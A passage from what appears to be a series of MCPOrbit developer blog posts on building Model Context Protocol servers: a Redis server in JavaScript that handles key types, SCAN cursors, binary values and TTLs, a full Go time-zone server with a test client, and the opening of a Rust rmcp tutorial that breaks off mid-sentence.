30 ``` ## Why is one get tool not enough for Redis? Because `GET` is a string command. Point it at the six keys above and it reads one of them: ```text user:1:name type=string GET -> "ada" user:1 type=hash GET -> THREW WRONGTYPE Operation against a key holding the wrong kind of value user:1:events type=list GET -> THREW WRONGTYPE Operation against a key holding the wrong kind of value user:1:tags type=set GET -> THREW WRONGTYPE Operation against a key holding the wrong kind of value leaderboard type=zset GET -> THREW WRONGTYPE Operation against a key holding the wrong kind of value ``` A model asked to look at `user:1` gets an error that names no fix. So the read has to start with `TYPE` and branch. That is the core of the server: ```javascript const [type, pttl] = await Promise.all([redis.type(key), redis.pTTL(key)]); if (type === 'none') return { key, exists: false }; switch (type) { case 'string': value = decode(await redis.get(key)); break; case 'hash': value = await redis.hGetAll(key); break; case 'list': value = await redis.lRange(key, 0, 99); break; case 'set': value = await redis.sMembers(key); break; case 'zset': value = await redis.zRangeWithScores(key, 0, 99); break; } ``` > **Note** > > Bound the collection reads. `LRANGE key 0 -1` on a list with a million entries returns a million entries, and the model pays for every one of them in context. The ranges above stop at 100. ## Why you must not use KEYS to list the keyspace `KEYS *` is the obvious way to answer `resources/list`, and it is the one command most likely to get your server banned from a production Redis. Redis runs commands on a single thread, so `KEYS` does not just take time, it stops everything else. Measured against a second connection that issues `PING` the instant `KEYS` starts: ```text 100000 keys | KEYS 13 ms | other client's PING blocked 13 ms | SCAN total 28 ms, worst call 0.4 ms, 100 round trips 500000 keys | KEYS 63 ms | other client's PING blocked 22 ms | SCAN total 134 ms, worst call 6.3 ms, 500 round trips 1000000 keys | KEYS 175 ms | other client's PING blocked 102 ms | SCAN total 331 ms, worst call 8.3 ms, 1000 round trips ``` `SCAN` is slower in total and that is the point. It trades 331 ms of wall time for a worst single block of 8.3 ms, so nothing else queues behind it. On a local instance with no other load the totals look close. On a shared production Redis the middle column is the one that pages people. ```javascript async function scanKeys(match, limit) { const keys = []; let cursor = '0'; do { const r = await redis.scan(cursor, { MATCH: match, COUNT: 500 }); cursor = r.cursor; for (const k of r.keys) { keys.push(k); if (keys.length >= limit) return { keys, truncated: cursor !== '0' }; } } while (cursor !== '0'); return { keys, truncated: false }; } ``` That is the correct loop, and in a moment it will stop terminating. Not because of anything in it. ## The binary fix that breaks the scan Redis values are byte strings. `node-redis` decodes them as UTF-8 by default, which is fine until someone caches a thumbnail or a protobuf. Write eight bytes of a PNG header and read them back: ```text wrote : 89504e470d0a1a0a (8 bytes) GET default -> utf8 : efbfbd504e470d0a1a0a (10 bytes) bytes preserved : false ``` `0x89` is not valid UTF-8, so it was replaced with `U+FFFD`, which is three bytes. The value did not fail to load. It came back longer than it went in, and nothing raised. The documented fix is a type mapping: ```javascript import { createClient, RESP_TYPES } from 'redis'; const redis = await createClient({ url: REDIS_URL }) .withTypeMapping({ [RESP_TYPES.BLOB_STRING]: Buffer }) .connect(); ``` ```text GET Buffer mapping : 89504e470d0a1a0a (8 bytes) bytes preserved : true ``` Correct. It also breaks `scanKeys`, because the `SCAN` cursor is a blob string too, and the mapping applies to every blob string the connection returns: ```text plain | cursor: "4" | typeof: string | cursor !== '0': true | final cursor: "0" | terminates? true Buffer-mapped | cursor: {"type":"Buffer","data":[52]} | typeof: object | cursor !== '0': true | final cursor: {"type":"Buffer","data":[48]} | terminates? false ``` Byte 48 is the character `0`. The final cursor is right, but it is a `Buffer`, and a `Buffer` is never strictly equal to a string. So `while (cursor !== '0')` is always true. The loop restarts from the beginning of the keyspace and runs until it hits the `limit` guard, which is the only reason it terminates at all. The failure is quiet, which is what makes it worth naming. Asking a seven key database for `user:*` returned this: ```text { "keys": [ "user:1:tags", "user:1:events", "user:1", "user:1:name", "user:1:tags", "user:1:events", "user:1", "user:1:name", "user:1:tags", "user:1:events" ], "truncated": true } ``` Ten keys from a database holding four matches, each repeated, and a `truncated` flag saying there are more. Every field of that response is wrong and none of it threw. `resources/list` had the same problem and reported 100 resources for a database with 7 keys. > **Note** > > Normalize the cursor and both go away: `cursor = r.cursor.toString()`. That works whether the client hands you a string or a `Buffer`, so it keeps working if you later remove the type mapping. ## How do you tell a model that a key is about to expire? This is the part that has no protocol answer today. A Redis key can vanish between the read and the moment the model acts on it. Set a two second TTL and watch it: ```text PTTL at read time : 2000 ms value at read time: active value after 2.2s : null EXISTS : 0 ``` The 2026-07-28 spec revision addresses exactly this with SEP-2549, which puts `ttlMs` and `cacheScope` on `resources/read`. The TypeScript SDK has not caught up. On version 1.30.0, `grep -rl 'ttlMs\|cacheScope'` across the whole installed package matches zero files, `ReadResourceResultSchema` is `ResultSchema.extend({ contents })` and nothing else, and `LATEST_PROTOCOL_VERSION` is `2025-11-25`. So there is nowhere to put the TTL except the body. Send it as data, with the read time next to it, and let the model do the arithmetic: ```json { "key": "session:abc", "exists": true, "type": "string", "expiresInMs": 29843, "expires": "2026-08-28T15:30:53.131Z", "readAt": "2026-08-28T15:30:23.288Z", "value": "active" } ``` `PTTL` returns `-1` for a key with no expiry and `-2` for a key that does not exist, so both need translating before they reach a model. `-1` becomes `"never"`. `-2` never appears, because `TYPE` already returned `none` and the read short circuits to `exists: false`. ## The complete server One file, `server.mjs`. It registers one resource template and two tools, and every fix above is in it. ```javascript import { McpServer, ResourceTemplate } from '@modelcontextprotocol/sdk/server/mcp.js'; import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; import { createClient, RESP_TYPES } from 'redis'; import { z } from 'zod'; const REDIS_URL = process.env.REDIS_URL ?? 'redis://127.0.0.1:6379'; const SCAN_PAGE = 500; const MAX_VALUE_BYTES = 64 * 1024; const redis = await createClient({ url: REDIS_URL }) .withTypeMapping({ [RESP_TYPES.BLOB_STRING]: Buffer }) .connect(); // A value is text only if it survives a UTF-8 round trip. Otherwise it is bytes. function decode(buf) { if (!Buffer.isBuffer(buf)) return buf; if (buf.length > MAX_VALUE_BYTES) { return { truncated: true, bytes: buf.length, base64: buf.subarray(0, MAX_VALUE_BYTES).toString('base64') }; } const text = buf.toString('utf8'); return Buffer.from(text, 'utf8').equals(buf) ? text : { encoding: 'base64', base64: buf.toString('base64') }; } async function readKey(key) { const [type, pttl] = await Promise.all([redis.type(key), redis.pTTL(key)]); if (type === 'none') return { key, exists: false }; let value; switch (type) { case 'string': value = decode(await redis.get(key)); break; case 'hash': { const h = await redis.hGetAll(key); value = Object.fromEntries(Object.entries(h).map(([k, v]) => [k, decode(v)])); break; } case 'list': value = (await redis.lRange(key, 0, 99)).map(decode); break; case 'set': value = (await redis.sMembers(key)).map(decode); break; case 'zset': value = (await redis.zRangeWithScores(key, 0, 99)) .map(({ value: v, score }) => ({ member: decode(v), score })); break; default: value = null; } return { key, exists: true, type, // The protocol has no field for this on 1.30.0, so it travels in the payload. expiresInMs: pttl >= 0 ? pttl : null, expires: pttl >= 0 ? new Date(Date.now() + pttl).toISOString() : 'never', readAt: new Date().toISOString(), value }; } async function scanKeys(match, limit) { const keys = []; let cursor = '0'; do { const r = await redis.scan(cursor, { MATCH: match, COUNT: SCAN_PAGE }); // The Buffer type mapping turns the cursor into a Buffer too, and // Buffer !== '0' is always true. Normalize it or this loop never ends. cursor = r.cursor.toString(); for (const k of r.keys) { keys.push(typeof k === 'string' ? k : k.toString('utf8')); if (keys.length >= limit) return { keys, truncated: cursor !== '0' }; } } while (cursor !== '0'); return { keys, truncated: false }; } const server = new McpServer({ name: 'redis-mcp', version: '1.0.0' }); server.registerResource( 'redis-key', new ResourceTemplate('redis://key/{key}', { list: async () => { const { keys } = await scanKeys('*', 100); return { resources: keys.map(k => ({ uri: `redis://key/${encodeURIComponent(k)}`, name: k, mimeType: 'application/json' })) }; } }), { title: 'Redis key', description: 'One Redis key, with its type and remaining TTL' }, async (uri, { key }) => ({ contents: [{ uri: uri.href, mimeType: 'application/json', text: JSON.stringify(await readKey(decodeURIComponent(key)), null, 2) }] }) ); server.registerTool( 'scan_keys', { description: 'List Redis keys matching a glob pattern. Uses SCAN, never KEYS.', inputSchema: { match: z.string().default('*').describe('Glob pattern, for example "user:*"'), limit: z.number().int().min(1).max(1000).default(100) } }, async ({ match, limit }) => ({ content: [{ type: 'text', text: JSON.stringify(await scanKeys(match, limit), null, 2) }] }) ); server.registerTool( 'read_key', { description: 'Read one Redis key of any type, with its remaining TTL.', inputSchema: { key: z.string() } }, async ({ key }) => ({ content: [{ type: 'text', text: JSON.stringify(await readKey(key), null, 2) }] }) ); await server.connect(new StdioServerTransport()); ``` Two details are worth naming. `readKey` issues `TYPE` and `PTTL` in one `Promise.all`, which costs one round trip rather than two and measured 0.16 ms locally. And `decode` decides text against bytes by round tripping through UTF-8 rather than by guessing from the key name, so a JSON blob stays readable and a PNG becomes base64 without either being configured. ## Test it end to end Point the SDK's own client at the server over stdio. This is the test that catches the scan bug, because it is the only one that compares a result against a keyspace you can count. ```javascript import { Client } from '@modelcontextprotocol/sdk/client/index.js'; import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio.js'; const client = new Client({ name: 'probe', version: '1.0.0' }); await client.connect(new StdioClientTransport({ command: 'node', args: ['server.mjs'], env: { ...process.env, REDIS_URL: 'redis://127.0.0.1:6399' } })); const res = await client.listResources(); console.log('resources:', res.resources.length); // must equal DBSIZE for (const key of ['user:1', 'leaderboard', 'session:abc', 'thumb:1', 'missing:key']) { const out = await client.callTool({ name: 'read_key', arguments: { key } }); console.log(out.content[0].text); } ``` A hash, a sorted set and a key that is not there, all through one tool: ```text resources: 7 { "key": "user:1", "exists": true, "type": "hash", "expiresInMs": null, "expires": "never", "value": { "name": "ada", "plan": "pro" } } { "key": "leaderboard", "exists": true, "type": "zset", "expiresInMs": null, "expires": "never", "value": [ { "member": "grace", "score": 7 }, { "member": "ada", "score": 10 } ] } { "key": "session:abc", "exists": true, "type": "string", "expiresInMs": 29843, "expires": "2026-08-28T15:30:53.131Z", "value": "active" } { "key": "thumb:1", "exists": true, "type": "string", "value": { "encoding": "base64", "base64": "iVBORw0KGgo=" } } { "key": "missing:key", "exists": false } ``` The assertion that matters is the first line. `resources: 7` against a `DBSIZE` of 7. Before the cursor fix that line read `resources: 100`, and every other line in the output looked exactly as correct as it does now. ## Frequently asked questions ## Frequently asked questions ### Should a Redis MCP server use resources or tools? Both, for different jobs. A key is a thing you read, so it maps to a resource template like `redis://key/{key}`. Finding keys is a question with arguments, so `scan_keys` is a tool. Clients differ in how well they support resources, so the `read_key` tool exists as a fallback path to the same function. ### How do I stop an MCP server from blocking Redis? Never call `KEYS`, `FLUSHALL` or an unbounded `LRANGE`. Redis is single threaded, so a slow command blocks every other client. Measured on a million keys, `KEYS *` stalled another connection's `PING` for 102 ms, while `SCAN` over the same keyspace never blocked for more than 8.3 ms at a time. ### Why does my SCAN loop never finish with node-redis? You added a `Buffer` type mapping for binary values. The mapping applies to the `SCAN` cursor too, and `Buffer !== '0'` is always true, so the termination check never matches and the scan restarts from the beginning. Use `cursor = r.cursor.toString()`. ### Does the MCP SDK support ttlMs and cacheScope for Redis TTLs? Not on `@modelcontextprotocol/sdk` 1.30.0. Neither field appears anywhere in the installed package, `ReadResourceResult` carries only `contents`, and `LATEST_PROTOCOL_VERSION` is `2025-11-25`. Until the SDK ships the 2026-07-28 cache hints, put `expiresInMs` and a `readAt` timestamp in the response body. ### Can I make a Redis MCP server read-only? Yes, and do it in Redis rather than in your code. Create a user with an ACL that allows only read commands, for example `ACL SETUSER mcp_ro on >secret ~* +@read +scan -keys`, and connect as that user. A server that simply does not register a write tool is one code change away from having one. ### How is this different from using Redis inside an MCP server? Rate limiting or caching with Redis makes it your server's private backing store, and no client ever sees a key. This server does the opposite: Redis is the subject, and the keyspace is what you are exposing. The hard parts are different too, since a backing store has a schema you chose and a real keyspace does not. The server above is a complete, working Redis MCP server. The bugs it routes around share a shape: Redis tells you what went wrong through a type error, a cursor or a byte count rather than an exception, and a server that does not check those things returns a confident wrong answer instead of failing. [Add the server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call your Redis tools by hand. You see every response and every error in full, without building the logging first. [Download MCPOrbit for macOS](/api/download) --- # How to build an MCP server in Go URL: https://mcporbit.com/blog/build-an-mcp-server-in-go Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Field notes Tags: MCP, Go, Golang, stdio, Engineering Build an MCP server in Go with the official SDK: struct tags become the tool schema, and go build gives you one binary. Tested on go-sdk v1.7.0 and Go 1.27. Build a Model Context Protocol (MCP) server in Go with the official `github.com/modelcontextprotocol/go-sdk`: define a plain Go struct for the tool's arguments, pass a normal function to `mcp.AddTool`, and call `server.Run` with an `mcp.StdioTransport`. The SDK derives the JSON Schema from your struct tags, validates every incoming call against it, and `go build` gives you one binary with no runtime to install. Go is the third serious option for MCP servers after TypeScript and Python, and it is the one that changes how you ship. A Node or Python server is a directory of source plus a package manager plus an interpreter that has to already be on the machine. A Go server is a single executable. That difference shows up the moment you hand the server to someone else or run it in a container. - The SDK's entry points are `mcp.NewServer`, the generic `mcp.AddTool`, and `server.Run`. There are three of them and you need all three. - `mcp.AddTool` is generic over your argument and result types. It reads `json` and `jsonschema` struct tags and builds the tool's input schema for you, including the `required` list and `additionalProperties: false`. - Return a typed result struct and the SDK fills both `structuredContent` and a JSON text block in `content`. You return `nil` for the `*mcp.CallToolResult` and it is assembled for you. - Returning an `error` from a handler produces a tool result with `isError: true`, not a transport failure. The client stays connected and the model sees the message. - Arguments are validated server-side before your handler runs. A missing field never reaches your code. - On stdio, stdout carries the protocol. Log with `fmt.Fprintf(os.Stderr, ...)`, never `fmt.Println`. - Import `_ "time/tzdata"` if you touch time zones. It costs 403 KB and removes a dependency on the host's zoneinfo files. ## What do you need to build an MCP server in Go? Go 1.21 or newer and one dependency. Everything in this post was built and run on Go 1.27.0 with go-sdk v1.7.0. Start a module and add the SDK. ```bash mkdir timezone-mcp && cd timezone-mcp go mod init example.com/timezone go get github.com/modelcontextprotocol/go-sdk@v1.7.0 ``` That writes a `go.mod` with the SDK as your only direct requirement. The indirect list is what the SDK itself pulls in, mostly the JSON Schema generator that makes `AddTool` work. ```go module example.com/timezone go 1.27.0 require github.com/modelcontextprotocol/go-sdk v1.7.0 require ( github.com/google/jsonschema-go v0.4.3 // indirect github.com/segmentio/asm v1.1.3 // indirect github.com/segmentio/encoding v0.5.4 // indirect github.com/yosida95/uritemplate/v3 v3.0.2 // indirect golang.org/x/oauth2 v0.35.0 // indirect golang.org/x/sync v0.20.0 // indirect golang.org/x/sys v0.41.0 // indirect golang.org/x/time v0.15.0 // indirect ) ``` ## How do you define an MCP tool in Go? You define two structs and one function. The input struct is the tool's arguments, the output struct is its result, and the function is the handler. This is the part of the Go SDK that is genuinely nicer than the alternatives: there is no schema builder API to learn, because the schema comes from tags you were going to write anyway. ```go type ConvertInput struct { Time string `json:"time" jsonschema:"a wall clock time as YYYY-MM-DD HH:MM"` FromZone string `json:"from_zone" jsonschema:"IANA zone the time is written in, for example Europe/Berlin"` ToZone string `json:"to_zone" jsonschema:"IANA zone to convert into, for example America/New_York"` } type ConvertOutput struct { Converted string `json:"converted" jsonschema:"the converted wall clock time"` Offset string `json:"offset" jsonschema:"UTC offset of the target zone at that instant"` Abbrev string `json:"abbrev" jsonschema:"zone abbreviation at that instant, for example EDT"` } ``` The `json` tag names the field in the protocol. The `jsonschema` tag becomes its `description`, which is the text the model reads when it decides whether to call your tool. Treat those descriptions as prompt engineering, not documentation. Write them for a reader who has never seen your code. The handler signature is fixed. It takes a `context.Context`, the raw `*mcp.CallToolRequest`, and your typed input. It returns a `*mcp.CallToolResult`, your typed output, and an `error`. ```go func convertTime(ctx context.Context, req *mcp.CallToolRequest, in ConvertInput) (*mcp.CallToolResult, ConvertOutput, error) { // ... return nil, ConvertOutput{ Converted: local.Format(layout), Offset: fmt.Sprintf("%+03d:%02d", seconds/3600, (seconds%3600)/60), Abbrev: abbrev, }, nil } ``` Note the `nil` in the first return position. You almost never build a `CallToolResult` by hand. Return your typed struct and the SDK serializes it into both halves of the response. ## What does the full Go MCP server look like? One file. Create `main.go` with this, and the server is finished. ```go // main.go package main import ( "context" "fmt" "log" "os" "time" // Embeds the IANA time zone database in the binary so LoadLocation works // on a machine that has no zoneinfo files of its own. _ "time/tzdata" "github.com/modelcontextprotocol/go-sdk/mcp" ) // logf writes to stderr. On stdio, stdout belongs to the protocol. func logf(format string, args ...any) { fmt.Fprintf(os.Stderr, "[timezone] "+format+"\n", args...) } type ConvertInput struct { Time string `json:"time" jsonschema:"a wall clock time as YYYY-MM-DD HH:MM"` FromZone string `json:"from_zone" jsonschema:"IANA zone the time is written in, for example Europe/Berlin"` ToZone string `json:"to_zone" jsonschema:"IANA zone to convert into, for example America/New_York"` } type ConvertOutput struct { Converted string `json:"converted" jsonschema:"the converted wall clock time"` Offset string `json:"offset" jsonschema:"UTC offset of the target zone at that instant"` Abbrev string `json:"abbrev" jsonschema:"zone abbreviation at that instant, for example EDT"` } const layout = "2006-01-02 15:04" func convertTime(ctx context.Context, req *mcp.CallToolRequest, in ConvertInput) (*mcp.CallToolResult, ConvertOutput, error) { logf("convert_time %q %s -> %s", in.Time, in.FromZone, in.ToZone) from, err := time.LoadLocation(in.FromZone) if err != nil { return nil, ConvertOutput{}, fmt.Errorf("unknown from_zone %q", in.FromZone) } to, err := time.LoadLocation(in.ToZone) if err != nil { return nil, ConvertOutput{}, fmt.Errorf("unknown to_zone %q", in.ToZone) } t, err := time.ParseInLocation(layout, in.Time, from) if err != nil { return nil, ConvertOutput{}, fmt.Errorf("time must look like 2026-09-11 14:30") } local := t.In(to) abbrev, seconds := local.Zone() return nil, ConvertOutput{ Converted: local.Format(layout), Offset: fmt.Sprintf("%+03d:%02d", seconds/3600, (seconds%3600)/60), Abbrev: abbrev, }, nil } func main() { server := mcp.NewServer(&mcp.Implementation{ Name: "timezone", Version: "1.0.0", }, nil) mcp.AddTool(server, &mcp.Tool{ Name: "convert_time", Title: "Convert time between zones", Description: "Convert a wall clock time from one IANA time zone to another.", }, convertTime) logf("starting on stdio") if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil { log.Fatalf("server failed: %v", err) } } ``` The `logf` helper at the top is the one thing to copy into every Go MCP server you write. On stdio the client reads your stdout as a stream of JSON-RPC frames, so a stray `fmt.Println` writes into the protocol. Define `logf` on `os.Stderr` once, before you write your first tool, and the problem never comes up. > **Watch the standard library too** > > `log.Printf` writes to stderr by default, so it is safe. `fmt.Println` and `fmt.Printf` write to stdout and are not. The two look interchangeable and are not. ## How do you run and test a Go MCP server? Build it, then point MCP Inspector at the binary. Inspector does not care that the server is Go. It spawns a process and speaks stdio, which is the whole point of the transport. ```bash go build -o timezone-mcp . npx @modelcontextprotocol/inspector@2.4.0 --cli ./timezone-mcp \ --method tools/call \ --tool-name convert_time \ --tool-arg time="2026-09-11 14:30" \ --tool-arg from_zone=Europe/Berlin \ --tool-arg to_zone=Asia/Tokyo ``` ```json [timezone] starting on stdio [timezone] convert_time "2026-09-11 14:30" Europe/Berlin -> Asia/Tokyo { "content": [ { "type": "text", "text": "{\"abbrev\":\"JST\",\"converted\":\"2026-09-11 21:30\",\"offset\":\"+09:00\"}" } ], "structuredContent": { "abbrev": "JST", "converted": "2026-09-11 21:30", "offset": "+09:00" } } ``` Two lines of stderr, then the result. The `structuredContent` object is your `ConvertOutput` struct. The `content` array is the same data as a JSON string, because clients that predate structured output still need something to show. You wrote neither of them. ## How do you drive the server from a Go client? The same module gives you a client. This is worth thirty lines because it runs the real handshake, it runs in your test loop, and it prints the generated schema so you can see exactly what the model will see. ```go // cmd/probe/main.go package main import ( "context" "encoding/json" "fmt" "log" "os" "os/exec" "github.com/modelcontextprotocol/go-sdk/mcp" ) func main() { ctx := context.Background() client := mcp.NewClient(&mcp.Implementation{Name: "probe", Version: "1.0.0"}, nil) cmd := exec.Command("./timezone-mcp") cmd.Stderr = os.Stderr // let the server's logs through session, err := client.Connect(ctx, &mcp.CommandTransport{Command: cmd}, nil) if err != nil { log.Fatalf("connect: %v", err) } defer session.Close() tools, err := session.ListTools(ctx, nil) if err != nil { log.Fatalf("list tools: %v", err) } for _, t := range tools.Tools { fmt.Printf("tool: %s - %s\n", t.Name, t.Description) schema, _ := json.MarshalIndent(t.InputSchema, "", " ") fmt.Printf("input schema: %s\n", schema) } res, err := session.CallTool(ctx, &mcp.CallToolParams{ Name: "convert_time", Arguments: map[string]any{ "time": "2026-09-11 14:30", "from_zone": "Europe/Berlin", "to_zone": "America/New_York", }, }) if err != nil { log.Fatalf("call tool: %v", err) } out, _ := json.MarshalIndent(res, "", " ") fmt.Printf("result: %s\n", out) // Now a bad zone, to see how the SDK reports a handler error. bad, err := session.CallTool(ctx, &mcp.CallToolParams{ Name: "convert_time", Arguments: map[string]any{ "time": "2026-09-11 14:30", "from_zone": "Europe/Berlin", "to_zone": "Mars/Olympus_Mons", }, }) if err != nil { fmt.Printf("transport error: %v\n", err) } else { out, _ := json.MarshalIndent(bad, "", " ") fmt.Printf("bad zone result: %s\n", out) } // And a missing required argument, to see schema validation fire. missing, err := session.CallTool(ctx, &mcp.CallToolParams{ Name: "convert_time", Arguments: map[string]any{"time": "2026-09-11 14:30"}, }) if err != nil { fmt.Printf("transport error: %v\n", err) } else { out, _ := json.MarshalIndent(missing, "", " ") fmt.Printf("missing arg result: %s\n", out) } } ``` ```bash go build -o probe ./cmd/probe ./probe ``` ```json [timezone] starting on stdio tool: convert_time - Convert a wall clock time from one IANA time zone to another. input schema: { "additionalProperties": false, "properties": { "from_zone": { "description": "IANA zone the time is written in, for example Europe/Berlin", "type": "string" }, "time": { "description": "a wall clock time as YYYY-MM-DD HH:MM", "type": "string" }, "to_zone": { "description": "IANA zone to convert into, for example America/New_York", "type": "string" } }, "required": [ "time", "from_zone", "to_zone" ], "type": "object" } ``` That schema was generated, not written. Every field is required because none of them is a pointer or carries `omitempty`, and `additionalProperties` is `false` so a client cannot smuggle in extra keys. If you want an optional argument, make the field a pointer or tag it `json:"foo,omitempty"`. ## What happens when a tool call fails? Two different failures, two different paths, and the distinction matters. The probe above calls the tool with a time zone that does not exist, and then with two required arguments missing. ```json bad zone result: { "content": [ { "type": "text", "text": "unknown to_zone \"Mars/Olympus_Mons\"" } ], "isError": true } missing arg result: { "content": [ { "type": "text", "text": "validating \"arguments\": validating root: required: missing properties: [\"from_zone\" \"to_zone\"]" } ], "isError": true } ``` The first came from your handler returning an `error`. The SDK caught it, put the message in the result, and set `isError`. The session stayed open. The model reads that message and can try again, which is why your error strings should say what to do, not just what broke. The second never reached the handler. The SDK validated the arguments against the generated schema and rejected the call before `convertTime` ran. You get that for free by using the generic `AddTool`, and it is the main reason not to drop down to the lower-level API. ## Why ship an MCP server as a Go binary? Because the install instruction becomes a file path. Set `CGO_ENABLED=0` and Go produces a statically linked executable that you can cross-compile from a Mac for a Linux box without a toolchain, a container, or a second machine. ```bash CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o timezone-linux . file timezone-linux # timezone-linux: ELF 64-bit LSB executable, x86-64, statically linked, Go BuildID=... ``` That binary is 9 MB and depends on nothing. Copy it into a `scratch` container and it runs. There is no `node_modules` to restore and no Python version to match, which is most of what goes wrong when an MCP server works locally and not on the host machine. The time zone database is the exception worth knowing about, and this server hits it directly. `time.LoadLocation` normally reads zoneinfo files from the host. In a minimal container there are none, so `LoadLocation("Europe/Berlin")` fails at runtime on a server that worked perfectly on your laptop. The blank import at the top of `main.go` fixes it. ```go import ( // Embeds the IANA time zone database in the binary so LoadLocation works // on a machine that has no zoneinfo files of its own. _ "time/tzdata" ) ``` It is not free, but it is cheap. Building this server with and without that one line is a difference of 412,976 bytes, about 403 KB on a 9 MB binary. For a server that answers time zone questions, paying 403 KB to remove a class of works-on-my-machine failure is not a close call. ## How do you add a Go MCP server to Claude Desktop? Point `command` at the binary with an absolute path. There are no `args` because there is no interpreter to invoke, which is the shortest MCP server entry you will ever write. ```json { "mcpServers": { "timezone": { "command": "/Users/you/timezone-mcp/timezone-mcp" } } } ``` On macOS that file is `~/Library/Application Support/Claude/claude_desktop_config.json`. Use the absolute path. The client does not launch the server from your project directory, so a relative path resolves somewhere you did not expect and the server never starts. A compiled binary is the shortest case in MCPOrbit too. Command is the absolute path, `/Users/you/timezone-mcp/timezone-mcp`, and Arguments stays empty, because there is no interpreter to invoke. Name and Command are the only fields a local server needs, and there is no config file in the picture to point at the wrong directory. [How to add an MCP server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) shows where that form lives. --- ## Frequently asked questions ## Frequently asked questions ### Which Go SDK should I use for MCP? The official one: `github.com/modelcontextprotocol/go-sdk`. It is maintained in the modelcontextprotocol organization alongside the TypeScript and Python SDKs. This post was built on v1.7.0 with Go 1.27.0. ### Do I have to write a JSON Schema for my MCP tool in Go? No. The generic `mcp.AddTool` function reads your argument struct's `json` and `jsonschema` tags and generates the schema, including the required list and `additionalProperties: false`. The SDK also validates incoming calls against it before your handler runs. ### How do I log from a Go MCP server without breaking it? Write to stderr. `fmt.Fprintf(os.Stderr, ...)` or the standard `log` package are both safe. `fmt.Println` and `fmt.Printf` write to stdout, which on stdio is the channel carrying JSON-RPC frames. ### How do I return an error from an MCP tool in Go? Return a non-nil `error` from the handler. The SDK turns it into a tool result with `isError: true` and the error text in `content`, and the session stays open. Write the message for the model, so say what a valid input looks like. ### Can I ship a Go MCP server as a single binary? Yes, and it is the main reason to pick Go. `CGO_ENABLED=0 go build` produces a statically linked executable with no runtime dependency, and you can cross-compile for another operating system with `GOOS` and `GOARCH`. If your server uses time zones, add `_ "time/tzdata"` so it does not need the host's zoneinfo files. ### Does MCP Inspector work with a Go server? Yes. Inspector spawns a process and speaks stdio, so it does not care what language the server is written in. Run `npx @modelcontextprotocol/inspector@2.4.0 --cli ./your-binary --method tools/list` against the compiled binary. The short version: one struct for the arguments, one struct for the result, one function, and `mcp.AddTool` to wire them together. Log to stderr, return errors instead of panicking, and build with `CGO_ENABLED=0` so what you hand someone is a file rather than a setup guide. A compiled Go server is the easiest kind to hand to someone, because there is nothing to install alongside it. [Connect the binary in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call each tool by hand, with its full input schema in front of you and the raw JSON result underneath, so you can see what the model saw when a call went wrong. [Download MCPOrbit for macOS](/api/download) --- # How to build an MCP server in Rust URL: https://mcporbit.com/blog/build-an-mcp-server-in-rust Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Field notes Tags: MCP, Rust, rmcp, stdio, Engineering Build an MCP server in Rust with the official rmcp SDK: derive your schemas, return Json for structured output, ship one 3.5 MB binary. Tested on rmcp 3.1.4. Build a Model Context Protocol (MCP) server in Rust with the official `rmcp` crate: define an argument struct that derives `JsonSchema`, annotate a method with `#[tool]`, and serve it over stdio. The schema is generated from your types, so the compiler and the protocol agree by construction. Everything below was built and run on `rmcp` 3.1.4 and Rust 1.98.0. Rust is the fourth serious option for MCP servers after TypeScript, Python and Go. The official SDK is `rmcp`, maintained in the `modelcontextprotocol/rust-sdk` repository, currently at 3.1.4 with about 11.5 million recent downloads. It is a real, maintained SDK, not a community stub. - One crate, `rmcp` 3.1.4, plus tokio. The tool schema is derived from your structs by `schemars`, not written by hand. - `schemars` is not a default feature. If you forget it, your derives will not produce a tool schema. - Return `Json` and you get `structuredContent` plus a generated `outputSchema` for free. - The default `serverInfo` reports `rmcp` as your server name. You have to override it, and almost nobody does. - Two failure modes, two wire shapes: an `ErrorData` becomes a JSON-RPC error, a bad argument becomes a tool result with `isError: true`. - A release build is one 3.5 MB binary that links nothing but system libraries. ## What do you need to build an MCP server in Rust? A Rust toolchain and two dependencies. This post was built on `rustc` 1.98.0 and `cargo` 1.98.0, installed with `rustup`. Start a binary crate and add what you need. ```bash cargo new --bin semver-mcp cd semver-mcp cargo add rmcp@3.1.4 --features server,transport-io,macros,schemars cargo add tokio@1 --features rt-multi-thread,macros,io-std cargo add serde@1 --features derive cargo add schemars@1 semver@1 ``` The feature list is the part worth reading twice. `server` and `macros` are on by default, but `schemars` and `transport-io` are not. `schemars` is what turns your `#[derive(JsonSchema)]` into a tool input schema, and `transport-io` is the stdio transport. Leave either one out and the code below will not compile. > **Feature flags** > > `schemars` is an opt-in feature of `rmcp`, even though the derive macro lives in a crate you also depend on directly. Adding `schemars` to your `Cargo.toml` is not enough on its own, you have to enable it on `rmcp` too. That produces this `Cargo.toml`. The versions are the ones that were resolved and tested. ```toml [package] name = "semver-mcp" version = "0.1.0" edition = "2024" [dependencies] rmcp = { version = "3.1.4", features = ["macros", "schemars", "server", "transport-io"] } schemars = "1" semver = "1" serde = { version = "1", features = ["derive"] } tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-std"] } ``` ## How do you define an MCP tool in Rust? You define an argument struct, a result struct, and a method. The argument struct derives `Deserialize` and `JsonSchema`, which together give you parsing and the published input schema from one definition. ```rust #[derive(Debug, Deserialize, JsonSchema)] pub struct ParseRequest { /// A semantic version string, for example "1.4.2" or "2.0.0-rc.1". pub version: String, } ``` The doc comment is not decoration. `schemars` lifts it into the `description` field of the generated schema, so the model sees it. This is the Rust equivalent of Go's `jsonschema` struct tag, except you write it as ordinary documentation and it also shows up in `cargo doc`. The handler is a method on your server type. The `Parameters` wrapper is what marks an argument as the tool's input, and destructuring it in the signature keeps the body clean. ```rust #[tool(description = "Parse a semantic version string into its numeric parts")] async fn parse_version( &self, Parameters(ParseRequest { version }): Parameters, ) -> Result, ErrorData> { let v = semver::Version::parse(&version) .map_err(|e| ErrorData::invalid_params(format!("{version:?} is not a version: {e}"), None))?; Ok(Json(ParsedVersion { major: v.major, minor: v.minor, patch: v.patch, pre: v.pre.to_string(), is_prerelease: !v.pre.is_empty(), })) } ``` The `Json` wrapper in the return type is the important 